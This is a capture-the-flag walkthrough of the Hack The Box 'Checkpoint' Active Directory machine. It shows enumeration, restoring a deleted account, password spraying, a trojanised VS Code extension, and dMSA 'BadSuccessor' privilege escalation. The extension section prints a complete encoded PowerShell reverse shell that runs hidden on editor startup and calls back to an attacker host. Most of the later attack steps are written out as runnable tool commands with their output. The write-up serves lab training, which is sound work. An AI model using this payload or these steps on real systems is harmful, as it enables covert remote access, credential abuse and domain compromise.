Checkpoint

2026-08-10 · 48.6 KB · HTB · Medium

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ nmap -sC -sV -Pn 10.129.1.181 -oN ./nmap.txt   
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-09 10:58 +0000
Nmap scan report for 10.129.1.181
Host is up (0.37s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-08-09 18:05:19Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-09T18:05:49
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: 7h05m53s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.04 seconds

The domain server is checkpoint.htband DC01.checkpoint.htb

Machine Information
As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

Information Gathering

Let's start with SMB enumerating

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
SMB         10.129.1.181    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:False)
SMB         10.129.1.181    445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.1.181    445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.129.1.181    445    DC01             Administrator                 2026-05-09 16:16:34 0       Built-in account for administering the computer/domain 
SMB         10.129.1.181    445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.129.1.181    445    DC01             krbtgt                        2026-05-09 08:41:01 0       Key Distribution Center Service Account 
SMB         10.129.1.181    445    DC01             alex.turner                   2026-05-09 09:00:08 0        
SMB         10.129.1.181    445    DC01             ryan.brooks                   2026-05-10 13:46:18 0        
SMB         10.129.1.181    445    DC01             svc_deploy                    2026-05-09 09:01:19 0       Deployment service account 
SMB         10.129.1.181    445    DC01             james.harper                  2026-05-09 09:02:53 0        
SMB         10.129.1.181    445    DC01             sarah.mitchell                2026-05-09 09:02:58 0        
SMB         10.129.1.181    445    DC01             emily.carter                  2026-05-09 09:03:05 0        
SMB         10.129.1.181    445    DC01             david.reynolds                2026-05-09 09:03:11 0        
SMB         10.129.1.181    445    DC01             jessica.coleman               2026-05-09 09:03:15 0        
SMB         10.129.1.181    445    DC01             lauren.flores                 2026-05-09 09:03:21 0        
SMB         10.129.1.181    445    DC01             michael.torres                2026-05-09 09:03:28 0        
SMB         10.129.1.181    445    DC01             kevin.patterson               2026-05-09 09:03:33 0        
SMB         10.129.1.181    445    DC01             brian.jenkins                 2026-05-09 09:03:37 0        
SMB         10.129.1.181    445    DC01             megan.perry                   2026-05-09 09:03:42 0        
SMB         10.129.1.181    445    DC01             max.palmer                    2026-05-26 01:25:15 0        
SMB         10.129.1.181    445    DC01             [*] Enumerated 17 local users: CHECKPOINT

We have get the valid user account list.

Continue to check the valid smb shares.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M spider_plus 
SMB         10.129.1.181    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:False)
SMB         10.129.1.181    445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SPIDER_PLUS 10.129.1.181    445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.1.181    445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.1.181    445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.1.181    445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.1.181    445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.1.181    445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.1.181    445    DC01             [*]  OUTPUT_FOLDER: /home/wither/.nxc/modules/nxc_spider_plus
SMB         10.129.1.181    445    DC01             [*] Enumerated shares
SMB         10.129.1.181    445    DC01             Share           Permissions            Remark
SMB         10.129.1.181    445    DC01             -----           -----------            ------
SMB         10.129.1.181    445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.1.181    445    DC01             C$                                     Default share
SMB         10.129.1.181    445    DC01             DevDrop         READ                   VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0                                                                                                                                                                          
SMB         10.129.1.181    445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.1.181    445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.1.181    445    DC01             SYSVOL          READ                   Logon server share 
SMB         10.129.1.181    445    DC01             VMBackups 

DevDropis an special share, let's start with this share. DevDrop: A readable shared folder for storing approved VS Code extensions for .vsix packages.

{
    "DevDrop": {},
    "NETLOGON": {},
    "SYSVOL": {
        "checkpoint.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": {
            "atime_epoch": "2026-05-09 08:43:48",
            "ctime_epoch": "2026-05-09 08:39:34",
            "mtime_epoch": "2026-05-09 08:43:48",
            "size": "22 B"
        },
        "checkpoint.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2026-05-09 08:39:34",
            "ctime_epoch": "2026-05-09 08:39:34",
            "mtime_epoch": "2026-05-09 08:39:34",
            "size": "1.07 KB"
        },
        "checkpoint.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": {
            "atime_epoch": "2026-05-09 08:43:48",
            "ctime_epoch": "2026-05-09 08:43:48",
            "mtime_epoch": "2026-05-09 08:43:48",
            "size": "2.73 KB"
        },
        "checkpoint.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI": {
            "atime_epoch": "2026-05-10 13:58:41",
            "ctime_epoch": "2026-05-09 08:39:34",
            "mtime_epoch": "2026-05-10 13:58:41",
            "size": "22 B"
        },
        "checkpoint.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2026-05-10 13:58:40",
            "ctime_epoch": "2026-05-09 08:39:34",
            "mtime_epoch": "2026-05-10 13:58:40",
            "size": "4.11 KB"
        }
    }
}      

But there seems nothing useful here.

For modern Windows Server environments, we can use Kerberos tickets for authentication:

cat > krb5.conf << 'EOF'
[libdefaults]
    default_realm = CHECKPOINT.HTB
    dns_lookup_kdc = false
    dns_lookup_realm = false

[realms]
    CHECKPOINT.HTB = {
        kdc = DC01.checkpoint.htb
        admin_server = DC01.checkpoint.htb
    }

[domain_realm]
    .checkpoint.htb = CHECKPOINT.HTB
    checkpoint.htb = CHECKPOINT.HTB
EOF

export KRB5_CONFIG=./krb5.conf

Now we can request the ticket

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ sudo ntpdate -u checkpoint.htb                           
2026-08-09 18:29:41.047757 (+0000) +25554.939954 +/- 0.202507 checkpoint.htb 10.129.1.181 s1 no-leap
CLOCK: time stepped by 25554.939954

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ getTGT.py 'CHECKPOINT.HTB/alex.turner:Checkpoint2024!'

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in alex.turner.ccache
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ export KRB5CCNAME=alex.turner.ccache 

Now we can try to bloodhound the domain now.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ rusthound-ce -d checkpoint.htb -u 'alex.turner@checkpoint.htb' -k -f DC01.checkpoint.htb -i 10.129.1.181 -n 10.129.1.181 -c All -z

From Bloodhound, we can get the hint Max.palmeris the domain admin.

Writable ACE

Since the suspicious share is read-only, DACLs cannot be directly abused from the outset.

Our next step is to use bloodyAD to enumerate writable ACEs:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ bloodyAD -H DC01.checkpoint.htb -d checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' get writable

distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

Here are some interesting rules:

CN=Deleted Objects,DC=checkpoint,DC=htb: Alex can write to the deleted object container itself.

CN=Mark Davies\0ADEL:...,CN=Deleted Objects,...: Alex can directly write to the deleted objects of Mark Davies.

OU=Employees,DC=checkpoint,DC=htb: Mark's original location is under the Employees OU, and Alex also has permission to create child items under this OU.

We can try to recover this deleted account.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ bloodyAD -H DC01.checkpoint.htb -d checkpoint.htb \
    -u 'alex.turner' -p 'Checkpoint2024!' \
    set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

Now we should can check this account back

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ nxc smb checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' --users-export users.txt
SMB         10.129.1.181    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:False)
SMB         10.129.1.181    445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.1.181    445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.129.1.181    445    DC01             Administrator                 2026-05-09 16:16:34 0       Built-in account for administering the computer/domain 
SMB         10.129.1.181    445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.129.1.181    445    DC01             krbtgt                        2026-05-09 08:41:01 0       Key Distribution Center Service Account 
SMB         10.129.1.181    445    DC01             alex.turner                   2026-05-09 09:00:08 0        
SMB         10.129.1.181    445    DC01             mark.davies                   2026-05-09 09:00:48 0        
SMB         10.129.1.181    445    DC01             ryan.brooks                   2026-05-10 13:46:18 0        
SMB         10.129.1.181    445    DC01             svc_deploy                    2026-05-09 09:01:19 0       Deployment service account 
SMB         10.129.1.181    445    DC01             james.harper                  2026-05-09 09:02:53 0        
SMB         10.129.1.181    445    DC01             sarah.mitchell                2026-05-09 09:02:58 0        
SMB         10.129.1.181    445    DC01             emily.carter                  2026-05-09 09:03:05 0        
SMB         10.129.1.181    445    DC01             david.reynolds                2026-05-09 09:03:11 0        
SMB         10.129.1.181    445    DC01             jessica.coleman               2026-05-09 09:03:15 0        
SMB         10.129.1.181    445    DC01             lauren.flores                 2026-05-09 09:03:21 0        
SMB         10.129.1.181    445    DC01             michael.torres                2026-05-09 09:03:28 0        
SMB         10.129.1.181    445    DC01             kevin.patterson               2026-05-09 09:03:33 0        
SMB         10.129.1.181    445    DC01             brian.jenkins                 2026-05-09 09:03:37 0        
SMB         10.129.1.181    445    DC01             megan.perry                   2026-05-09 09:03:42 0        
SMB         10.129.1.181    445    DC01             max.palmer                    2026-05-26 01:25:15 0        
SMB         10.129.1.181    445    DC01             [*] Enumerated 18 local users: CHECKPOINT
SMB         10.129.1.181    445    DC01             [*] Writing 18 local users to users.txt

Next, we can continue to try the password spraying method.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ nxc smb checkpoint.htb -u users.txt -p 'Checkpoint2024!' --no-bruteforce --continue-on-success
SMB         10.129.1.181    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:False)
SMB         10.129.1.181    445    DC01             [-] checkpoint.htb\Administrator:Checkpoint2024! STATUS_LOGON_FAILURE 
SMB         10.129.1.181    445    DC01             [-] checkpoint.htb\Guest:Checkpoint2024! STATUS_LOGON_FAILURE 
SMB         10.129.1.181    445    DC01             [-] checkpoint.htb\krbtgt:Checkpoint2024! STATUS_LOGON_FAILURE 
SMB         10.129.1.181    445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.1.181    445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
--snip--

Now we finally get another valid credit checkpoint.htb\mark.davies:Checkpoint2024!

VScode Extension Hijacking

Let's continue to check the smb service of this account

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ netexec smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' -M spider_plus
SMB         10.129.1.181    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:False)
SMB         10.129.1.181    445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
SPIDER_PLUS 10.129.1.181    445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.1.181    445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.1.181    445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.1.181    445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.1.181    445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.1.181    445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.1.181    445    DC01             [*]  OUTPUT_FOLDER: /home/wither/.nxc/modules/nxc_spider_plus
SMB         10.129.1.181    445    DC01             [*] Enumerated shares
SMB         10.129.1.181    445    DC01             Share           Permissions            Remark
SMB         10.129.1.181    445    DC01             -----           -----------            ------
SMB         10.129.1.181    445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.1.181    445    DC01             C$                                     Default share
SMB         10.129.1.181    445    DC01             DevDrop         READ,WRITE             VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.1.181    445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.1.181    445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.1.181    445    DC01             SYSVOL          READ                   Logon server share 
SMB         10.129.1.181    445    DC01             VMBackups            

Interesting DevDrop sharing has now become writable.

In VS Code's packaging documentation, .vsix files are installable extension packages. The key to this attack path is that it contains a manifest file, which tells VS Code which code to load and when to load it.

The extension structure documentation shows the normal execution flow: VS Code reads the manifest file, follows the main function to find the extension's entry point, and finally calls the activate() function. The activation events documentation defines the conditions that trigger activation.

[.vsix package]
      |
      v
[package.json manifest]
      |
      +--> [engines.vscode] -> must match the target VS Code version
      |
      +--> [main] -> points to the extension entry file
      |
      +--> [activationEvents] -> decides when the extension loads
              |
              v
        [extension.js]
              |
              v
        [activate()]
              |
              v
[code runs in the user's VS Code context]

If DevDrop is used as a trusted staging location for approved .vsix packages, then controlling the package means controlling the manifest, entry file, and activation path.

We can use the standard VS Code extension workflow. The official generator will create a standard extension framework and a vsce package that can be packaged into an installable .vsix package.

npm install -g @vscode/vsce
npx --package yo --package generator-code -- yo code

For this application, we don't need a fully functional extension. A minimal JavaScript project matching the target engine version and exporting the activate() function will suffice:

npm warn deprecated boolean@3.2.0: Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.

     _-----_     ╭──────────────────────────╮
    |       |    │   Welcome to the Visual  │
    |--(o)--|    │   Studio Code Extension  │
   `---------´   │        generator!        │
    ( _´U`_ )    ╰──────────────────────────╯
    /___A___\   /
     |  ~  |     
   __'.___.'__   
 ´   `  |° ´ Y ` 

`list` prompt is deprecated. Use `select` prompt instead.
✔ What type of extension do you want to create? New Extension (JavaScript)
✔ What's the name of your extension? checkpoint
✔ What's the identifier of your extension? checkpoint
✔ What's the description of your extension? 
✔ Enable JavaScript type checking in 'jsconfig.json'? No
✔ Initialize a git repository? No
`list` prompt is deprecated. Use `select` prompt instead.
✔ Which package manager to use? npm

Writing in /home/wither/Templates/htb-labs/Medium/Checkpoint/checkpoint...
   create checkpoint/.vscode/extensions.json
   create checkpoint/.vscode/launch.json
   create checkpoint/test/extension.test.js
   create checkpoint/.vscodeignore
   create checkpoint/README.md
   create checkpoint/CHANGELOG.md
   create checkpoint/vsc-extension-quickstart.md
   create checkpoint/jsconfig.json
   create checkpoint/extension.js
   create checkpoint/package.json
   create checkpoint/.vscode-test.mjs
   create checkpoint/eslint.config.mjs

Changes to package.json were detected.

We mainly need to modify two files.

package.json: Extension manifest file. VS Code uses this file to obtain the extension name, version compatibility, entry point, and activation conditions. For this path, the important fields are engines.vscode, main, and activationEvents.

`extension.js`: The extension entry file. This is the JavaScript file referenced by `main`; it exports the `activate()` function, which runs once the configured activation event is triggered.

We mainly modified these parts of package.json

"engines": {
    "vscode": "^1.118.0"
  },
  "activationEvents": [
    "*"
  ],
  "main": "./extension.js",
  "devDependencies": {  
    "@types/vscode": "1.118.0"  
  }

Here, engines.vscode matches the VS Code version advertised in the share, activationEvents is set to "*" to make VS Code activate the extension on startup instead of waiting for specific command or file events, and main points VS Code to the JavaScript entry file that exports activate().

Secondly, the generated extension.js file only registers one "Hello World" command by default. Even if the extension is activated, the default scaffolding still requires the user to manually run the command before the example operation will execute. The important change for this path is replacing the activate() logic so that the payload runs immediately when the manifest activation event is triggered:

const cp = require('child_process');

function activate(context) {
    const lhost = '10.10.14.128';  // attacker host
    const lport = 4444;           // listener port

    const ps = `
$client = New-Object System.Net.Sockets.TCPClient('${lhost}',${lport});
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();
`;

    const encoded = Buffer.from(ps, 'utf16le').toString('base64');

    cp.execFile('powershell.exe', [
        '-NoProfile',
        '-ExecutionPolicy', 'Bypass',
        '-WindowStyle', 'Hidden',
        '-EncodedCommand', encoded
    ], {
        windowsHide: true
    });
}

function deactivate() {}

module.exports = {
    activate,
    deactivate
};

The default readme file also needs to be modified to bypass the default check of the virtual VCS.

After aligning the manifest file and entry file, finally package the project into a .vsix package:

npm pkg set "engines.vscode=^1.118.0"
npm pkg set "devDependencies.@types/vscode=1.118.0"
npm install
npx vsce package

This will generate an installable regular extension package, checkpoint-0.0.1.vsix, in the current directory.

The next step is to upload the generated .vsix file to DevDrop and make it recognized by the target's extended workflow:

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Checkpoint/checkpoint]
└─$ file checkpoint-0.0.1.vsix                                                                                                                    
checkpoint-0.0.1.vsix: Zip archive data, made by v6.3 UNIX, extract using at least v2.0, last modified Aug 09 2026 19:37:18, uncompressed size 1646, method=deflate
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/Checkpoint/checkpoint]
└─$ smbclient.py checkpoint.htb/mark.davies:'Checkpoint2024!'@checkpoint.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use DevDrop
# put checkpoint-0.0.1.vsix
# ls
drw-rw-rw-          0  Sun Aug  9 19:46:59 2026 .
drw-rw-rw-          0  Sat May  9 14:42:27 2026 ..
-rw-rw-rw-       2787  Sun Aug  9 19:47:00 2026 checkpoint-0.0.1.vsix

Once triggered, the reverse shell will be invoked as ryan.brooks:

nc -lnvp 4444
Connection from 10.129.1.181:52235
whoami
checkpoint\ryan.brooks

Bloodhound with mark.davies

PS C:\Temp> .\SharpHound.exe -c All -d checkpoint.htb --zipfilename cp.zip

Then use smb service to help us download it

# attack machine
mkdir -p wither
smbserver.py wither ./wither -smb2support -username wither -password wither

# target machine
net use \\10.10.14.128\wither /user:wither wither
copy C:\Temp\20260614060551_cp.zip \\10.10.14.128\wither\  
net use \\10.10.14.128\wither /delete

Import the new archive into BloodHound for analysis. The analysis revealed the complete path from Ryan to SVC_DEPLOY:

GenericWrite permissions typically point to shadow credential attacks.

At this point, we still don't know the plaintext password for ryan.brooks, and there are no cached tickets in the klist shell. However, the shell is still running in Ryan's domain context, which is sufficient to convert the svc_deploy GenericWrite operation into a shadow credential attack.

From the reverse shell, using the Whisker under Ryan's current token...

PS C:\Temp> .\Whisker.exe add /target:svc_deploy /path:C:\Temp\svc_deploy.pfx /password:'P@ssw0rd'
[*] Searching for the target account
[*] Target user found: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 733c5192-4c34-4cec-9d13-442243e51169
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saving the associated certificate to file...
[*] The associated certificate was saved to C:\Temp\svc_deploy.pfx
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:svc_deploy /certificate:C:\Temp\svc_deploy.pfx /password:"P@ssw0rd" /domain:checkpoint.htb /dc:DC01.checkpoint.htb /getcredentials /show

PS C:\Temp> .\Rubeus.exe asktgt /user:svc_deploy /certificate:C:\Temp\svc_deploy.pfx /password:"P@ssw0rd" /domain:checkpoint.htb /dc:DC01.checkpoint.htb /getcredentials /show

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=svc_deploy
[*] Building AS-REQ (w/ PKINIT preauth) for: 'checkpoint.htb\svc_deploy'
[*] Using domain controller: fe80::1a19:c303:c220:a544%5:88

[X] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

This means the shadow credential was written successfully, but Rubeus attempted to use PKINIT, which this DC does not support.

This DC does not accept PKINIT for this path, causing the Shadow Credentials route for this path to become invalid, even though msDS-KeyCredentialLink was successfully written.

BadSuccessor

Background: BadSuccessor Principle Review

Windows Server 2025 introduced dMSA (delegated Managed Service Account). dMSA has an "inheritance" mechanism: if a dMSA object claims to "inherit" from an older account (such as svc_deploy), Kerberos will treat the dMSA as that older account when issuing a TGT (Transaction Grant). In other words, as long as you can create a dMSA and have it "claim" the target account, you can obtain the target account's privileges without needing the target account's password or hash.

The vulnerability in the original BadSuccessor lies in the fact that this "inheritance relationship" is a one-way declaration—an attacker only needs to write `msDS-ManagedAccountPrecededByLink` pointing to `svc_deploy` on their newly created dMSA object, and the DC will believe it. No cooperation from `svc_deploy` is required.

The attack requires two permissions:

CreateChild on a specific OU → This allows the creation of new objects (i.e., the creation of a dMSA) within that OU.

Write permission on the target account (here, GenericWrite on svc_deploy) → This allows the dMSA to be "paired" with the target account.

Run PowerView to verify that Ryan's SID contains CreateChild:

Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity "OU=DMSAHolder,DC=checkpoint,DC=htb" -ResolveGUIDs

AceType               : AccessAllowed
ObjectDN              : OU=DMSAHolder,DC=checkpoint,DC=htb
ActiveDirectoryRights : CreateChild
OpaqueLength          : 0
ObjectSID             :
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3129162710-3498938529-1807524340-1103
AccessMask            : 1
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

The ACL result shows that SecurityIdentifier: S-1-5-21-...-1103 is exactly the SID of ryan.brooks, and ActiveDirectoryRights: CreateChild confirms that he has the necessary permissions. → Both prerequisites are met.

Microsoft later fixed BadSuccessor, closing the vulnerability of "one-way declarative inheritance". BetterSuccessor (the bypass proposed by Altered Security) discovered that the patch simply changed the verification from "one-way" to "two-way pairing"—it no longer only checks the link on the dMSA side, but also requires the target account to have the corresponding reverse attributes:

On the dMSA object: msDS-GroupMSAMembership + msDS-ManagedAccountPrecededByLink (pointing to svc_deploy)

On the target account (svc_deploy): msDS-SupersededManagedAccountLink + msDS-SupersededServiceAccountState (pointing to dMSA, declaring itself to have been superseded)

Therefore, the exploit strategy after the patch is: since you have GenericWrite on svc_deploy, it's not just about "creating a dMSA declaration of inheritance," but also manually writing these two "superseded" attributes on the svc_deploy object, so that the DC sees that both sides recognize this pairing relationship, and the verification will pass. Afterwards, when requesting the TGT of dMSA, the PAC (permission information in the Kerberos ticket) will reflect the identity of svc_deploy, which means that all its permissions have been obtained.

With these prerequisites in place, we can use SharpSuccessor to weaponize the modified dMSA path:

PS C:\Temp> .\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:attacker_dmsa
   _____ _                      _____
  / ____| |                    / ____|
 | (___ | |__   __ _ _ __ _ __| (___  _   _  ___ ___ ___  ___ ___  ___  _ __
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|
                         | |
                         |_|
@_logangoins

[+] Adding dnshostname attacker_dmsa.checkpoint.htb
[+] Adding samaccountname attacker_dmsa$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=attacker_dmsa' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=attacker_dmsa,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully

The dMSA object has been created, pairing attributes have been written to both sides, and the svc_deploy account has been marked as the superseded account.

Next, let's pass on the dMSA service ticket. First, request a delegated TGT as the current user context and cleanly save it to disk:

$t = .\Rubeus.exe tgtdeleg /nowrap | Out-String
$b64 = ($t -split 'base64\(ticket.kirbi\):')[1] -replace '\s+',''
[IO.File]::WriteAllBytes('C:\Temp\ryan_tgt.kirbi',[Convert]::FromBase64String($b64))

Requesting dMSA-supported ``TGS for krbtgt using a saved proxy ticket:

PS C:\Temp> .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:C:\Temp\ryan_tgt.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'attacker_dmsa$' from 'ryan.brooks'
[+] Sequence number is: 884855162
[*] Using domain controller: DC01.checkpoint.htb (fe80::b1a3:9287:d9bc:fa42%5)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

